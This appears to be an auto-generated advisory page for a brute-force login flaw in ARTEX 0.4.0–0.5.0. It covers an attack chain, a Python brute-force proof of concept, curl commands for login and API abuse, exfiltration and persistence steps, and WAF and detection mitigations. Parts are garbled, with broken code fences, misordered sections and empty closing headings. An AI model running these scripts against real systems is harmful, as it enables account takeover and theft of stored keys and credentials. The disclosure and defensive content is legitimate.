CVE-2026-140365 — BaaRai ARTEX (0.5.1) — CWE-307
ARTEX 0.4.0 before 0.5.1 lacks rate limiting, lockout, or backoff on POST /api/auth/login and accepts 8-character admin passwords. Remote unauthenticated attackers can make unlimited password guesses against the network-exposed admin account to take over tasks, files, stored LLM API keys, and credentials.
ARTEX 0.4.0 before 0.5.1 lacks rate limiting, lockout, or backoff on POST /api/auth/login and accepts 8-character admin passwords. Remote unauthenticated attackers can make unlimited password guesses against the network-exposed admin account to take over tasks, files, stored LLM API keys, and credentials.
🎯 What is this vulnerability?
CWE‑307 – Improper Restriction of Excessive Authentication Attempts
The ARTEX 0.4.0‑0.5.0 code base exposes a public POST /api/auth/login endpoint that accepts an 8‑character admin password without any form of rate‑limiting, lock‑out, or exponential back‑off.
Because the endpoint is reachable from the public network and the password space is only 8 characters long, an unauthenticated attacker can perform an exhaustive brute‑force attack against the single admin account. Once the correct password is discovered, the attacker receives an authentication token that grants full access to the REST API, allowing the attacker to read, modify, or delete tasks, files, stored LLM API keys, and other credentials.
The flaw is purely a missing authentication‑attempt restriction; the application performs no checks on the number of consecutive failed logins, does not enforce a lock‑out policy, and does not throttle requests. The CVSS vector (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) reflects that the vulnerability is remote, low‑effort, and requires no privileges or user interaction.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow to fully compromise an affected ARTEX instance.
| Step | Description | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify the target and confirm the vulnerable version. | • Scan the target IP for open HTTP/HTTPS ports (80/443). <br>• Send a GET / request and parse the Server or X‑App-Version header. <br>• If the header reports BaaRai:ARTEX 0.4.0 or 0.5.0, the system is vulnerable. |
| 2. Exploitation – Brute‑force login | Enumerate the 8‑character admin password. | The attacker can use a simple script that iterates over all possible 8‑character combinations (alphanumeric, case‑sensitive). <br>Illustrative PoC (Python): <br>``python\nimport itertools, string, requests, json\nurl = 'https://target.example.com/api/auth/login'\nheaders = {'Content-Type': 'application/json'}\nchars = string.ascii_letters + string.digits\nfor pwd in map(''.join, itertools.product(chars, repeat=8)):\n payload = {'username': 'admin', 'password': pwd}\n r = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)\n if r.status_code == 200 and 'token' in r.json():\n print('Found password:', pwd)\n print('Token:', r.json()['token'])\n break\n`\nCurl example (single guess): <br>`bash\ncurl -k -X POST \\\n -H 'Content-Type: application/json' \\\n -d '{"username":"admin","password":"<guess>"}' \\\n https://target.example.com/api/auth/login\n`\nBecause there is no rate‑limit, the script can run at full speed (hundreds of requests per second) until the correct password is found. |
| 3. Post‑exploitation – API abuse | Use the obtained JWT (or session cookie) to access privileged endpoints. | Once the attacker has the token, they can perform any action that the admin role permits. Typical endpoints (illustrative, not guaranteed to exist): <br>• GET /api/tasks – list all tasks. <br>• GET /api/files – list or download files. <br>• GET /api/keys – retrieve stored LLM API keys. <br>• GET /api/credentials – read stored credentials. <br>Example: <br>`bash\ncurl -k -H 'Authorization: Bearer <token>' \\\n https://target.example.com/api/tasks\n`\nThe attacker can also create, modify, or delete tasks/files/keys, effectively taking full control of the system. |
| 4. Data exfiltration & persistence | Extract sensitive data and establish persistence. | • Download all files and credentials to a staging server. <br>• Store the admin token in a secure location for future use. <br>• Optionally create a new admin user via POST /api/users` (if the API allows it) to maintain long‑term access. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (H) | Full read access to all stored data: tasks, files, LLM API keys, credentials, logs. |
| Integrity (H) | Ability to modify or delete any data, including configuration files and stored keys. |
| Availability (H) | Potential to delete critical tasks or files, causing service disruption. |
| Scope (N) | The vulnerability is confined to the ARTEX instance; it does not automatically propagate to other systems. |
| Privileges Required (N) | None – the attacker starts unauthenticated. |
| User Interaction (N) | None – the attack can be performed entirely from the network. |
| Attack Complexity (L) | Low – brute‑force is straightforward and requires no special skills beyond scripting. |
Practical consequences
- Immediate takeover of the ARTEX instance.
- Exposure of all LLM API keys, potentially allowing the attacker to abuse third‑party services.
- Loss of data integrity and availability, leading to downtime and potential regulatory violations.
- Long‑term persistence if the attacker creates a new admin account.
- ARTEX 0.4.0 – 0.5.0 (inclusive)
- Upgrade to ARTEX 0.5.1 or later. The 0.5.1 release includes proper rate‑limiting, lock‑out, and back‑off logic on
/api/auth/loginand enforces a minimum password length of 12 characters for admin accounts. - CVSS Score: 9.2 (Critical)
- Exploit Complexity: Low (no special skills, no user interaction)
- CISA KEV Status: No (not yet listed, but the risk is high)
🛡️ Remediation & Mitigation
Affected Versions
Patch Recommendation
Workarounds (if upgrade is not immediately possible)
| Mitigation | Implementation |
|---|---|
| WAF / ModSecurity rule | ``<rule id="1001" phase="2" block log msg="Login brute‑force protection">\n SecRule REQUEST_URI "@beginsWith /api/auth/login" "chain"\n SecRule IP:REQUESTS "@gt 5" "t:none"\n</rule>` <br>This rule blocks any IP that sends more than 5 requests to the login endpoint in a single minute. |
| IP‑based access control | Restrict the /api/auth/login` endpoint to a known set of IPs (e.g., internal VPN) using firewall rules or the application’s own IP whitelist. |
| Disable the endpoint temporarily | If the API is not needed for external access, comment out or remove the route in the application’s routing configuration. |
| Enforce stronger passwords | Require admin passwords to be at least 12 characters long and include a mix of character classes. This can be enforced via a pre‑login validation hook. |
Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| Repeated 401 responses | POST /api/auth/login 401 | Monitor for >5 401 responses from the same IP within 1 minute. |
| High request volume to login | POST /api/auth/login | Count requests per IP; flag >10 requests per minute. |
| Successful login | POST /api/auth/login 200 | Correlate with subsequent privileged API calls (e.g., /api/tasks). |
| Unusual API activity | Any /api/* endpoint accessed with a bearer token | Flag if the token originates from a newly discovered admin login. |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query